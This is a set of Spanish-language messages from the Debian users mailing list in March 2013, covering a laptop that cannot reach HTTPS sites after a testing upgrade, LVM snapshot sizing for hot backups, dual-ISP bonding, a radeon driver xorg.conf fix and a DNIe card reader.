Re: no puedo acceder a paginas con https
On 03/20/2013 12:53 PM, Felix Perez wrote: El 19/03/13, consultores escribió: On Tue, Mar 19, 2013 at 10:02:25AM -0300, Felix Perez wrote: El 19/03/13, Felix Perez escribio> > El 18/03/13, Francisco Antonio escribió: El 18/03/13 16:25, Felix Perez escribió: 2013/3/18, Fabián Bonetti: On Mon, 18 Mar 2013 16:43:33 -0300 Felix Perez wrote: Comprueba la fecha si la tienes correcta. Gracias Fabián, la fecha esta correcta aunque con todo los problemas que hemos tenido con el retraso en el cambio de hora (Chile) no descarto que algo tenga que ver. el date me devuelve: lun mar 18 17:20:39 ART 2013 Mi sources.list solo tiene estas líneas. deb http://ftp.us.debian.org/debian/ testing main contrib non-free deb-src http://ftp.us.debian.org/debian/ testing main contrib non-free La línea que me intriga es esta: Des: 1 http://ftp.us.debian.org testing InRelease [224 kB] Ign http://ftp.us.debian.org testing InRelease ¿Alguien ha tenido problemas con los repositorios en estos días? Gracias a todos. Hola Felix Yo estoy en transito, se supone que ese es un error de los servidores; si te parece, yo puedo colgar una web https, para que te conectes y enviarte el log, para que depures el problema. Gracias, no creo que sea un error de los servidores ya que me pasa con todos los repos, y con todas las páginas https, si es factible revisar los logs, te lo agradecería, espero tus noticias. Por otro lado, hay vulnerabilidades en ssl y otros, lo del sources.list no lo puedo confirmar ahora mismo; hasta dentro de 6 horas. Si queres, proba con https://livestream/algo_de_tu_agrado ellos han actualizado recientemente y me contas. Leí lo de las vulnerabilidades pero no creo que sea este el caso, en realidad no se nada de nada a estas alturas. A la dirección que pones no pude acceder. Gracias de nuevo. Hola Estoy en EU el que queda en America y los dos mesones en los que me he quedado, solo permiten salida por el 80; no he podido hacer nada. Pero revisando los mensajes de error, pude notar errores de java ej. /uoo31 que hace referncia a un codigo de intrusion. Los otros errores son de syntaxis, que tambien podrian apuntar a java. Yo probaria a reinstalar todo lo relacionado con java y luego si funciona correctamente, lo eliminaria, tiene demasiadas vulnerabilidades. Luego probaria con el libre, que no recuerdo como se llama. En fin manana me cambio de champa y veremos si alli se puede hacer algo. hasta luego. saludos y suerte. -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/514abec9.8090...@lavabit.com
Re: no puedo acceder a paginas con https
On 03/20/2013 12:41 PM, Felix Perez wrote: El 19/03/13, Adrià escribió: On Mon, Mar 18, 2013 at 04:43:33PM -0300, Felix Perez wrote: Hola estimados El sábado pasado hice unas actualizaciones a mi laptop con debian testing (Linux felix-portatil 3.2.0-4-686-pae #1 SMP Debian 3.2.39-2 i686 GNU/Linux ) , luego de las cuales me pidio reiniciar, lo cual hice. Luego me fui de la oficina y al llegar hoy resulta que no puedo ingresar a sitios seguros https, me lanza este mensaje de error el navegador ¿Qué paquetes has actualizado recientemente? (grep upgrade /var/log/dpkg.log). Hasta el 16 cero problemas, el 16 realice las actualizaciones siguientes: 2013-03-16 10:39:57 upgrade perl-base:i386 5.14.2-19 5.14.2-20 2013-03-16 10:40:15 upgrade perl-modules:all 5.14.2-19 5.14.2-20 2013-03-16 10:40:28 upgrade libgstreamer-plugins-base0.10-0:i386 0.10.36-1 0.10.36-1.1 2013-03-16 10:40:32 upgrade libmtp-common:all 1.1.3-35-g0ece104-4 1.1.3-35-g0ece104-5 2013-03-16 10:40:35 upgrade libmtp-runtime:i386 1.1.3-35-g0ece104-4 1.1.3-35-g0ece104-5 2013-03-16 10:40:37 upgrade libmtp9:i386 1.1.3-35-g0ece104-4 1.1.3-35-g0ece104-5 2013-03-16 10:40:41 upgrade linux-image-3.2.0-4-686-pae:i386 3.2.35-2 3.2.39-2 2013-03-16 10:41:13 upgrade gir1.2-gst-plugins-base-0.10:i386 0.10.36-1 0.10.36-1.1 2013-03-16 10:41:17 upgrade gstreamer0.10-alsa:i386 0.10.36-1 0.10.36-1.1 2013-03-16 10:41:21 upgrade gstreamer0.10-gnomevfs:i386 0.10.36-1 0.10.36-1.1 2013-03-16 10:41:22 upgrade gstreamer0.10-plugins-base:i386 0.10.36-1 0.10.36-1.1 2013-03-16 10:41:24 upgrade gstreamer0.10-x:i386 0.10.36-1 0.10.36-1.1 2013-03-16 10:41:25 upgrade ruby1.9.1:i386 1.9.3.194-8 1.9.3.194-8.1 2013-03-16 10:41:27 upgrade libruby1.9.1:i386 1.9.3.194-8 1.9.3.194-8.1 2013-03-16 10:41:31 upgrade linux-headers-3.2.0-4-686-pae:i386 3.2.35-2 3.2.39-2 2013-03-16 10:41:38 upgrade linux-headers-3.2.0-4-common:i386 3.2.35-2 3.2.39-2 2013-03-16 10:41:46 upgrade linux-libc-dev:i386 3.2.35-2 3.2.39-2 2013-03-16 10:41:49 upgrade unattended-upgrades:all 0.79.4 0.79.5 2013-03-16 10:41:49 status half-configured unattended-upgrades:all 0.79.4 2013-03-16 10:41:49 status unpacked unattended-upgrades:all 0.79.4 2013-03-16 10:41:49 status half-installed unattended-upgrades:all 0.79.4 2013-03-16 10:41:49 status half-installed unattended-upgrades:all 0.79.4 2013-03-16 10:41:50 status half-installed unattended-upgrades:all 0.79.4 2013-03-16 10:41:50 status unpacked unattended-upgrades:all 0.79.5 2013-03-16 10:41:52 status unpacked unattended-upgrades:all 0.79.5 2013-03-16 10:41:53 upgrade xserver-xorg-video-radeon:i386 1:6.14.4-7 1:6.14.4-8 2013-03-16 10:41:56 upgrade xserver-xorg-video-ati:i386 1:6.14.4-7 1:6.14.4-8 2013-03-16 10:43:11 configure unattended-upgrades:all 0.79.5 2013-03-16 10:43:11 status unpacked unattended-upgrades:all 0.79.5 ¿Actualizabas a menudo? Con testing es conveniente. Casí a diario. ¿Has probado creando un usuario nuevo, a ver si ocurre? Lo mismo con otro usuario, y con otros escritorios. Estoy pensando en que haya habido alguna actualización de OpenSSL, pero la última es de Febrero e imagino que ya la tendrías. Lo más probable, como comento actualizo casi a diario. Saludos y gracias. Otra observacion: Se supone que el nucleo -i686-pae funciona bien en equipos que no requieren pae (no se exactamente lo que es), pero yo he probado nucleos que no son Debian y no funcionan ej. kali-linux. Se me ocurre que por alli tambien habria que buscar o instalar el i486 sin pae; el ordenador con wheezy del que mande los log usa i486 sin pae. Tambien, podria ser problema de dpkg; escribistes, "probe synaptic, apt y aptitude" y ahora falla dpkg. A falta de la web de pruebas, http://weblogin.bu.edu/troubleshooting?cmd=ssl es para probar las https. He entendido que podes acceder a paginas http sin problemas y que no podes acceder a https, has revisado que no tengas marcado algo como modo seguro? que impida el handshake. Tambien he entendido que podes usar apt/aptitude, pero fallan de alguna forma. En este caso quizas habria que verificar las ip con whois y nslookup, aqui no pude, ni siquiera en una pagina. hasta luego. -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/514ad428.2000...@lavabit.com
Re: Duda lvmsnapshot
El 2013-03-20 06:51, Guillermo escribió: El 12/03/2013 12:59, escribió: > > El 2013-03-05 15:59, Guillermo Cordeiro Baqueiro escribió: > >> El Tue, 05 Mar 2013 09:29:05 + >> may...@maykel.sytes.net escribió: >>> >>> Hola muy buenas, estoy realizando pruebas para el tema de backups en >>> caliente sin pérdida de servicio y me ha surgido una duda. Para poder >>> hacer el backup, tiene que haber espacio suficiente en el grupo de >>> volúmen sin ser usado. De tal forma que hará un backup en apenas >>> milésimas de segundos, que lo que hace es un snapshot y mueve el >>> volúmen lógico del que se quiere realizar el backup al espacio libre, >>> y en el volúmen lógico continúa el servicio... >>> >>> Mi pregunta es, cómo puedo saber cuanto espacio en gigas tengo libres >>> dentro del volúmen group para poder hacer el snapshot en caliente y >>> no me de error de que necesito más espacio? >>> >>> Por ejemplo: >>> >>> --- Volume group --- >>> VG Name pve >>> System ID >>> Format lvm2 >>> Metadata Areas 1 >>> Metadata Sequence No 40 >>> VG Access read/write >>> VG Status resizable >>> MAX LV 0 >>> Cur LV 3 >>> Open LV 3 >>> Max PV 0 >>> Cur PV 1 >>> Act PV 1 >>> VG Size 297.59 GiB >>> PE Size 4.00 MiB >>> Total PE 76183 >>> Alloc PE / Size 72088 / 281.59 GiB >>> Free PE / Size 4095 / 16.00 GiB >>> VG UUID b1yll9-RL7u-7J68-yQb2-lduF-Y3y4-GDaJ9Y >>> >>> >>> Aqui el espacio libre para hacer snapshot en caliente sería de 16 GB?? >>> >>> Saludos y gracias como siempre. >>> >>> >>> >> >> Hola. >> >> El snapshot guarda un estado específico del disco, pero lvm2 lo que >> hace en realidad es guardar las diferencias con el actual. Así puedes >> tener una versión "desactualizada" del sistema a clonar. >> >> Hay que tener cuidado ya que el snapshot es válido solo hasta que se >> llena el espacio asignado. Así el snapshot es una herramienta para >> realizar una copia sin necesidad de apagar la máquina, ya que su >> contenido no varía, pero tiene un tiempo de vida limitada (hasta que >> se llena). En este punto el lvm snapshot se destruye y se pierde esa >> información. >> >> Un ejemplo de uso sería: >> lvcreate -s /dev/pve/vm-100-disk-1 -L 15G -n 100_d1_snpsht >> dd if=/dev/pve/100_d1_snpsht of=/backups/100_d1_$(date +%Y%m%d) >> lvremove /dev/pve/100_d1_snpsht >> >> Un saludo >> -- >> R.U.W.O.R.U.R.O.: >> Robotic Upgraded Worker Optimized for >> Rational Utility and Relentless Observation > > > > Gracias por contestar Guillermo. Alomejor me he explicado mal, lo que me refería es al espacio que queda libre en el grupo de volúmenes para que cuando haga el snapshot tenga espacio suficiente. Con vgdisplay te aparece abajo, por ejemplo: > > > VG Name pve > System ID > Format lvm2 > Metadata Areas 1 > Metadata Sequence No 24 > > VG Access read/write > VG Status resizable > MAX LV 0 > Cur LV 3 > Open LV 3 > Max PV 0 > Cur PV 1 > Act PV 1 > VG Size 136.20 GiB > PE Size 4.00 MiB > Total PE 34866 > Alloc PE / Size 30771 / 120.20 GiB > > Free PE / Size 4095 / 16.00 GiB > VG UUID lT2USK-f2WS-rkZF-98C3-xzSJ-8aGW-AIhpJ1 > > > El espacio que te permite hacer el snapshot en caliente Free PE / Size 4095 / 16.00 GiB > > Si metes un disco de 500GB por ejemplo, lo agregas al grupo de volumen pve, imagino que el espacio Free PE aumentará para que te permita hacer un snapshot de un tamaño más grande hasta 512+16 = 528 GB Disculpa la tardanza. Si, si añades otra partición lvm al grupo de volumenes aumenta el espacio disponible para el snapshot. Lo que trataba de explicar es que con un espacio de un giga, uno solo, puedes crear un snapshot de un lvm de un tera si la escritura en el disco es ocasional y reducida. El snapshot es funcional mientras no se alcance su tamaño en cambios, por ejemplo si añades un archivo de 1.1G al lvm original. Una recomendación que hacen es que hagas una snapshot del tamaño del lvm original porque así tendría que cambiar todo el lvm para que el snapshot sea inviable. Pero tu puedes decidir el tamaño del snapshot teniendo en cuenta la tasa de escritura en el original. Siento irme por las ramas pero las snapshot fue algo que me chocó bastante cuando lo descubrí y por eso insisto en lo del tamaño. Un saludo. Gracias por contestar Guillermo, te has explicado perfectamente. Es decir, el tamaño del snapshot va en función de lo que creas que va a escribi
Re: no puedo acceder a paginas con https
On Thu, Mar 21, 2013 at 02:34:32AM -0700, consultores wrote: > Otra observacion: > Se supone que el nucleo -i686-pae funciona bien en equipos que no > requieren pae (no se exactamente lo que es), pero yo he probado > nucleos que no son Debian y no funcionan ej. kali-linux. Se me > ocurre que por alli tambien habria que buscar o instalar el i486 sin > pae; el ordenador con wheezy del que mande los log usa i486 sin pae. Es una característica de algunos procesadores x86 para soportar más de 4GB de RAM. Las veces que he instalado Ubuntu (Desktop) en máquinas virtuales he tenido que habilitar esta característica en el hypervisor, pero por lo demás no me ha supuesto ningún inconveniente con el resto de derivadas de Debian que he probado. > He entendido que podes acceder a paginas http sin problemas y que no > podes acceder a https, has revisado que no tengas marcado algo como > modo seguro? que impida el handshake. Tambien he entendido que podes Yo miraría con 'curl -I https://loquesea', a ver qué devuelve. No sé si puede haber alguna especie de portal cautivo o similar que pueda afectar a las conexiones HTTPS. Por otro lado, imagino que a nivel de iptables/selinux estará todo en orden, ¿no? -- Adrià García-Alzórriz ad...@fsfe.org GPG Key: 09494C14 Nada es más fácil que censurar a los muertos. -- Julio César. Emperador romano. signature.asc Description: Digital signature
Re: 2 isp
El mar 20, 2013 2:17 p.m., "Camaleón" escribió: > > El Wed, 20 Mar 2013 13:59:36 -0300, Martin Mantaras escribió: > > > Hola, si la idea es utilizar dos ISP en la misma red te recomiento > > utilizar un Microtik [1]. > > Con esta maravilla podrás hacer lo que necesitas y muchisimo mas. > > Me parece que en este extenso hilo no hablamos de eso ;-) > > Saludos, > > -- > Camaleón > > > -- Hola lista, veo que en la lista hablan de unir dos ISP, el Mikrotik RB mas básico lo hace sin problemas, por eso que un usuario comenta mas arriba lo de el Mikrotik, yo personalmente la uso con una pc x86? saludos Ricardo
Re: no puedo acceder a paginas con https
El 20/03/13, Sergio Bessopeanetto escribió: > El 20/03/13 16:48, Felix Perez escribió: >> El 19/03/13, Sergio Bessopeanetto escribió: >>> El 19/03/13 18:01, Adrià escribió: On Mon, Mar 18, 2013 at 04:43:33PM -0300, Felix Perez wrote: > Hola estimados > El sábado pasado hice unas actualizaciones a mi laptop con debian > testing (Linux felix-portatil 3.2.0-4-686-pae #1 SMP Debian 3.2.39-2 > i686 GNU/Linux > ) , luego de las cuales me pidio reiniciar, lo cual hice. Luego me > fui de la oficina y al llegar hoy resulta que no puedo ingresar a > sitios seguros https, me lanza este mensaje de error el navegador ¿Qué paquetes has actualizado recientemente? (grep upgrade /var/log/dpkg.log). ¿Actualizabas a menudo? Con testing es conveniente. ¿Has probado creando un usuario nuevo, a ver si ocurre? Estoy pensando en que haya habido alguna actualización de OpenSSL, pero la última es de Febrero e imagino que ya la tendrías. >>> ¿Tendrás algún tema con el router? Lo digo porque me ha pasado y me >>> sigue pasando, que en mi casa Debian Wheezy KDE con network manager >>> funciona perfectamente pero la misma netbook en mi estudio con otro >>> router, el más sencillo que entrega Telecom (Arnet) Argentina, las >>> páginas https tardan una eternidad en abrir, cualquier página donde >>> tenga que logearme tardan mucho en abrir. >>> Esa misma netbook con Linux Mint LXDE con wicd funciona bien sin >>> problemas. >>> Experimenté en llevarme el router de mi casa y conectarlo >>> provisoriamente en el estudio y todo funciona bien. >>> Quizás sea algún asunto que tenga el router con Network Manager... Todo >>> puede ser, ¿no? >> Hola Sergio, tengo más equipos conectados al RV082, y ninguno más >> tiene problemas, es más hasta el sábado 16 este equipo funcionaba de >> maravilla. >> >> Ya ni se por donde mirar. >> > Félix, ya revisaste la parte de hardware, a veces lo más tonto es lo que > está generando problemas. Cables, fichas, placa de red, no se... Revisado y hasta ahora todo Ok, aunque el equipo es un tanto antiguo. > Por otra parte, los otros equipos que están conectados al mismo router Todos al mismo router, e incluso a ese router conecto otro router que reparte wifi. > ¿tienen la misma configuración?, ¿Todos con la misma Debian? ¿Se > actualizaron igual? Digo, quizás se actualizó algún paquete o > dependencia que te está jorobando la parte de red en "ese" equipo en > particular. ¿No sé qué opinan los demás? Pues eso mismo pienso, pero la verdad es que como no puedo utilizar ni apt, ni aptitude, ni synaptic, incluso ni dpkg, me empiezo a sentir atado de manos. Saludos. -- usuario linux #274354 normas de la lista: http://wiki.debian.org/es/NormasLista como hacer preguntas inteligentes: http://www.sindominio.net/ayuda/preguntas-inteligentes.html -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/CAAiZAx5RXw+=ekdh1rpqwz8tgtywe6dj0wg88+ufp1wkq6h...@mail.gmail.com
Re: no puedo acceder a paginas con https
El 21/03/13, Felix Perez escribió: > El 20/03/13, Sergio Bessopeanetto escribió: >> El 20/03/13 16:48, Felix Perez escribió: >>> El 19/03/13, Sergio Bessopeanetto escribió: El 19/03/13 18:01, Adrià escribió: > On Mon, Mar 18, 2013 at 04:43:33PM -0300, Felix Perez wrote: >> Hola estimados >> El sábado pasado hice unas actualizaciones a mi laptop con debian >> testing (Linux felix-portatil 3.2.0-4-686-pae #1 SMP Debian 3.2.39-2 >> i686 GNU/Linux >> ) , luego de las cuales me pidio reiniciar, lo cual hice. Luego me >> fui de la oficina y al llegar hoy resulta que no puedo ingresar a >> sitios seguros https, me lanza este mensaje de error el navegador > ¿Qué paquetes has actualizado recientemente? (grep upgrade > /var/log/dpkg.log). > ¿Actualizabas a menudo? Con testing es conveniente. > ¿Has probado creando un usuario nuevo, a ver si ocurre? > Estoy pensando en que haya habido alguna actualización de OpenSSL, > pero > la última es de Febrero e imagino que ya la tendrías. > ¿Tendrás algún tema con el router? Lo digo porque me ha pasado y me sigue pasando, que en mi casa Debian Wheezy KDE con network manager funciona perfectamente pero la misma netbook en mi estudio con otro router, el más sencillo que entrega Telecom (Arnet) Argentina, las páginas https tardan una eternidad en abrir, cualquier página donde tenga que logearme tardan mucho en abrir. Esa misma netbook con Linux Mint LXDE con wicd funciona bien sin problemas. Experimenté en llevarme el router de mi casa y conectarlo provisoriamente en el estudio y todo funciona bien. Quizás sea algún asunto que tenga el router con Network Manager... Todo puede ser, ¿no? >>> Hola Sergio, tengo más equipos conectados al RV082, y ninguno más >>> tiene problemas, es más hasta el sábado 16 este equipo funcionaba de >>> maravilla. >>> >>> Ya ni se por donde mirar. >>> >> Félix, ya revisaste la parte de hardware, a veces lo más tonto es lo que >> está generando problemas. Cables, fichas, placa de red, no se... > > Revisado y hasta ahora todo Ok, aunque el equipo es un tanto antiguo. > >> Por otra parte, los otros equipos que están conectados al mismo router > > Todos al mismo router, e incluso a ese router conecto otro router que > reparte wifi. > Pido disculpas, se me fue al privado. >> ¿tienen la misma configuración?, ¿Todos con la misma Debian? ¿Se >> actualizaron igual? Digo, quizás se actualizó algún paquete o >> dependencia que te está jorobando la parte de red en "ese" equipo en >> particular. ¿No sé qué opinan los demás? > > Pues eso mismo pienso, pero la verdad es que como no puedo utilizar > ni apt, ni aptitude, ni synaptic, incluso ni dpkg, me empiezo a sentir > atado de manos. > > Saludos. > > -- > usuario linux #274354 > normas de la lista: http://wiki.debian.org/es/NormasLista > como hacer preguntas inteligentes: > http://www.sindominio.net/ayuda/preguntas-inteligentes.html > -- usuario linux #274354 normas de la lista: http://wiki.debian.org/es/NormasLista como hacer preguntas inteligentes: http://www.sindominio.net/ayuda/preguntas-inteligentes.html -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/CAAiZAx5gL6dsnShrSnFdFmmKG6zJVBGRB3hpssR=t-+azqa...@mail.gmail.com
Re: no puedo acceder a paginas con https
El 21/03/13, consultores escribió: > On 03/20/2013 12:53 PM, Felix Perez wrote: >> El 19/03/13, consultores escribió: >>> On Tue, Mar 19, 2013 at 10:02:25AM -0300, Felix Perez wrote: El 19/03/13, Felix Perez escribio> > El 18/03/13, Francisco Antonio escribió: >> El 18/03/13 16:25, Felix Perez escribió: >>> 2013/3/18, Fabián Bonetti: On Mon, 18 Mar 2013 16:43:33 -0300 Felix Perez wrote: Comprueba la fecha si la tienes correcta. >>> Gracias Fabián, la fecha esta correcta aunque con todo los problemas >>> que hemos tenido con el retraso en el cambio de hora (Chile) no >>> descarto que algo tenga que ver. >>> el date me devuelve: >>> lun mar 18 17:20:39 ART 2013 >>> Mi sources.list solo tiene estas líneas. deb http://ftp.us.debian.org/debian/ testing main contrib non-free deb-src http://ftp.us.debian.org/debian/ testing main contrib non-free La línea que me intriga es esta: Des: 1 http://ftp.us.debian.org testing InRelease [224 kB] Ign http://ftp.us.debian.org testing InRelease ¿Alguien ha tenido problemas con los repositorios en estos días? Gracias a todos. >>> Hola Felix >>> Yo estoy en transito, se supone que ese es un error de los servidores; si >>> te >>> parece, yo puedo colgar una web https, para que te conectes y enviarte >>> el >>> log, para que depures el problema. >> Gracias, no creo que sea un error de los servidores ya que me pasa con >> todos los repos, y con todas las páginas https, si es factible revisar >> los logs, te lo agradecería, espero tus noticias. >> >> >>> Por otro lado, hay vulnerabilidades en ssl y otros, lo del sources.list >>> no >>> lo puedo confirmar ahora mismo; hasta dentro de 6 horas. >>> Si queres, proba con https://livestream/algo_de_tu_agrado ellos han >>> actualizado recientemente y me contas. >> Leí lo de las vulnerabilidades pero no creo que sea este el caso, en >> realidad no se nada de nada a estas alturas. >> >> A la dirección que pones no pude acceder. >> >> Gracias de nuevo. >> > > Hola > > Estoy en EU el que queda en America y los dos mesones en los que me he > quedado, solo permiten salida por el 80; no he podido hacer nada. Pero > revisando los mensajes de error, pude notar errores de java ej. /uoo31 > que hace referncia a un codigo de intrusion. Los otros errores son de > syntaxis, que tambien podrian apuntar a java. > > Yo probaria a reinstalar todo lo relacionado con java y luego si > funciona correctamente, lo eliminaria, tiene demasiadas > vulnerabilidades. Luego probaria con el libre, que no recuerdo como se > llama. En fin manana me cambio de champa y veremos si alli se puede > hacer algo. hasta luego. No me deja, ni instalar, ni des instalar, ni re instalar ni nada. incluso intente en el modo de recuperación y nada. Gracias nuevamente Consultores. > > saludos y suerte. > > > > -- > To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org > with a subject of "unsubscribe". Trouble? Contact > listmas...@lists.debian.org > Archive: http://lists.debian.org/514abec9.8090...@lavabit.com > > -- usuario linux #274354 normas de la lista: http://wiki.debian.org/es/NormasLista como hacer preguntas inteligentes: http://www.sindominio.net/ayuda/preguntas-inteligentes.html -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/caaizax6ap5vngdjppo5m5tarqfyaw_po07hktexrnc-p1u_...@mail.gmail.com
Re: 2 isp [ot]
El Wed, 20 Mar 2013 19:56:57 +0100, Ramses II escribió: > Ya no es tanto de productos, sino como de protocolos y RFC's... ¿Protocolos y RFC de qué exactamente? Creo que me he perdido. > Esa es la que yo estoy buscando, la que tiene que definir bajo qué > protocolos y condiciones se puede dar el bonding..., pero no la tengo > por aquí... ¿Mande? ¿Todavía seguimos así? Caray :-) Todo eso estaba especidicado en la FAQ del Truffle Lite: https://www.mushroomnetworks.com/product/products.aspx?product_id=1002&tab=faqs Y la hoja de producto: https://www.mushroomnetworks.com/get_file.aspx?id=3DF83487-2300-46E5-AA2E-67E32D367399&name=brochure%20Truffle%20Lite.pdf > Bueno, bueno, solo tradujiste la parte del párrafo que ponía que se > sumaban los BW, ni la frase de antes, que decía lo del HTTP, ni la de > después, que decía que el resto del tráfico lo balanceaba... ;-) Traduje el quid de la cuestión, obviamente. > Claro, evidentemente que un cacharro de estos, dependiendo de qué > tráfico te puede salvar la vida y ahorrarte dinero, porque desde el > punto de vista de la LAN, puede salir/entrar el "doble" de tráfico, pero > que hay que estudiar antes de qué tráfico estamos hablando... No estamos hablando -al menos yo no- del tráfico generado en local (LAN) sino en la WAN, en remoto. Y por cierto, el aparatito tiene 4 bocas gigabit para conexiones de banda ancha (pensaba que sólo eran 2) y un par de puertos USB para conexiones 3G/4G, vamos, que está muy bien dotado. > Porque tu tienes una cámara que te tira ficheros de 4Mb a un FTP en > Internet y desde otro punto de Internet los estás recuperando vía FTP a > través de una ADSL de 2Mbps. Si a esa persona le dices que montando un > cacharro de estos va a descargar más rápido los ficheros, pues cuando lo > pincha, como que se queda con dos palmos de narices... Es que a esa persona no le puedes decir eso :-) En ese escenario no se aprovecharía la características de la suma del ancho de banda de las conexiones WAN que estén conectadas al aparato, pero igualmente sigue siendo interesante el balanceo de carga (que también puede acelerar la conexión descartando el enlace que esté más saturado) y la capacidad de failover para no dejar a la cámara web "caída". Lo cual no quita para que el el resto de situaciones SÍ se pueda aprovechar de las conexiones ADSL que tenga conectadas sumando anchos de banda. > Hombr, es que yo me en encontrado situaciones de empresas que tienen > un enlace de 100Mbps en fibra para dar acceso en estrella a sus > servicios todas sus sedes y con una ADSL de 8Mb/640Kb de respaldo... Se supone que el ADSL de respaldo sólo actúa de uvas a peras (¿una vez al año?). Además, no hace mucho los enlaces primarios eran los ADSL de 2 Mbps y la conexión de backup la gestionaba modems RDSI ;-) Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/kif5mv$kp3$1...@ger.gmane.org
Re: 2 isp
El Thu, 21 Mar 2013 08:15:37 -0300, Ricardo escribió: (ese html...) > El mar 20, 2013 2:17 p.m., "Camaleón" escribió: >> >> El Wed, 20 Mar 2013 13:59:36 -0300, Martin Mantaras escribió: >> >> > Hola, si la idea es utilizar dos ISP en la misma red te recomiento >> > utilizar un Microtik [1]. >> > Con esta maravilla podrás hacer lo que necesitas y muchisimo mas. >> >> Me parece que en este extenso hilo no hablamos de eso ;-) >> > Hola lista, veo que en la lista hablan de unir dos ISP, Sí, pero "con matices" ;-) > el Mikrotik RB mas básico lo hace sin problemas, por eso que un usuario > comenta mas arriba lo de el Mikrotik, yo personalmente la uso con una > pc x86? Te aseguro que el Mikrotik no permite sumar los anchos de banda (en modo de "agregación", no de "balanceo de carga" ni de "failover") de las conexiones WAN. Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/kif5r9$kp3$2...@ger.gmane.org
Re: Driver "radeon" (era: imposible reducir el brillo de la pantalla)
El Wed, 20 Mar 2013 20:06:55 +0100, Eduardo Rios escribió: > El 20/03/13 19:46, Camaleón escribió: >> No, no... no tienes que registrarte y el funcionamiento es muy >> sencillo: (...) > ¡Que rapidez de respuesta! :-) > Gracias, ya he comprendido, es que el inglés no es lo mío :-P X-) > Vale, pues aquí tenéis la info del fichero .xsession-errors: ¡Gracias! > http://pastebin.com/yUi9EzZS Me quedo con esta línea: *** /usr/lib/gnome-session/gnome-session-check-accelerated-helper: error while loading shared libraries: libGL.so.1: cannot open shared object file: No such file or directory *** > Ahí veo que no encuentra la librería libGL.so.1, por lo que no puede > activar la aceleración gráfica, pero no sé que hacer... Exactamente. Ya sabemos por qué no carga gnome-shell, ahora tenemos que ver por qué el servidor X no encuentra ese archivo. > http://pastebin.com/PZ3iPJ9T > > Ahí está el contenido del fichero /var/log/Xorg.0.log > > Gracias por vuestra ayuda. Eh, ojo... te está cargando el driver "intel" no el "radeon". Tienes que decirle que te cargue el driver de ATI pero el libre. Crea un archivo "/ etc/X11/xorg.conf" con un contenido mínimo, por ejemplo: *** Section "Device" Identifier "ATI" Driver "radeon" EndSection Section "Screen" Identifier "Default Screen" DefaultDepth 24 EndSection *** Si ya tienes un archivo xorg.conf, haz una copia de seguridad antes de editarlo (renómbralo a "xorg.conf.old") y simplemente asegúrate de que la línea del "Driver" apunta al "radeon". Reinicias y te preparas para lo peor ;-P Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/kif6io$kp3$3...@ger.gmane.org
Re: Driver "radeon" (era: imposible reducir el brillo de la pantalla)
El Wed, 20 Mar 2013 22:27:52 +0100, Eduardo Rios escribió: > Vaya, pues no está resuelto. Así veo que usa los controladores de Intel® > Sandybridge Mobile, es decir, la tarjeta intel, pero nada de ATI. Sí, por eso es muy importante revisar siempre los registros :-) > ¿Tendría que tener un fichero /etc/xorg.conf? Es que no tengo ninguno... Sí, eso es, te respondo en otro mensaje. Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/kif6kt$kp3$4...@ger.gmane.org
DNI con Debian testing
Hola Desearía, si puede ser, que me informarán como instalar un lector de DNI: minilector bit4id en Debian testing. He intentando informarme a través de Google, pero no me aclaro con la información que obtengo y no consigo que funcione. Tengo Debian testing, Gracias de antemano. -- Un saludo, José Manuel Gran Canaria/España Si vas a escribir.. piensa en esto: no digas nada que no sea mas precioso que el silencio!!!
Re: DNI con Debian testing
El Thu, 21 Mar 2013 15:30:48 +, José Manuel (EB8CXW) escribió: > Hola Ese html... > Desearía, si puede ser, que me informarán como instalar un lector de > DNI: minilector bit4id en Debian testing. He intentando informarme a > través de Google, pero no me aclaro con la información que obtengo y no > consigo que funcione. > > Tengo Debian testing, ¿No te sirve este? DNIe en Debian GNU/Linux Squeeze http://guimi.net/blogs/hiparco/dnie-en-debian-gnulinux-squeeze/ Está en español y aunque es para Squeeze no creo que varíe mucho. Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/kif9v3$kp3$5...@ger.gmane.org
Re: no puedo acceder a paginas con https
